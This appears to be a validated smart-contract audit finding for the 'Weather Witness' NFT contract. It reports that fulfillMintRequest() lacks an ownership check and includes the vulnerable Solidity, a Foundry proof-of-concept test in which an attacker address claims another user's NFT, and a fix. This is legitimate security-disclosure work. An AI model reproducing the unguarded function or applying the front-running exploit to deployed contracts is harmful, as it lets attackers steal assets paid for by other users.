Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Access Control Flaw in fulfillMintRequest() Exposes NFT Minting to Abuse

Root + Impact

A malicious actor monitoring mempool transactions could front-run the requestMintWeatherNFT function by calling fulfillMintRequest() with a known requestId, stealing the NFT intended for another user.

Description

The fulfillMintRequest(bytes32 requestId) function is responsible for minting NFTs based on data retrieved via requestMintWeatherNFT function.

This function is declared as external and currently has no access control modifiers to restrict who can call it. Therefore any address can invoke this function, regardless of whether they initiated the original request or not.

@> function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
...

Impact:

  • NFT Theft: Legitimate users may lose their rights to mint if a malicious user calls the function first.

Proof of Concept

add this to the test file

function test_weather_NFT_can_be_stolen() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 1e17;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(Attacker);
weatherNft.fulfillMintRequest(reqId);
assertEq(weatherNft.ownerOf(tokenId), Attacker);
}

Recommended Mitigation

Implement strict access control to ensure that only a trusted entity

function fulfillMintRequest(bytes32 requestId) external {
+ require(msg.sender == s_funcReqIdToUserMintReq[requestId].user, "Unauthorized");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
...
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.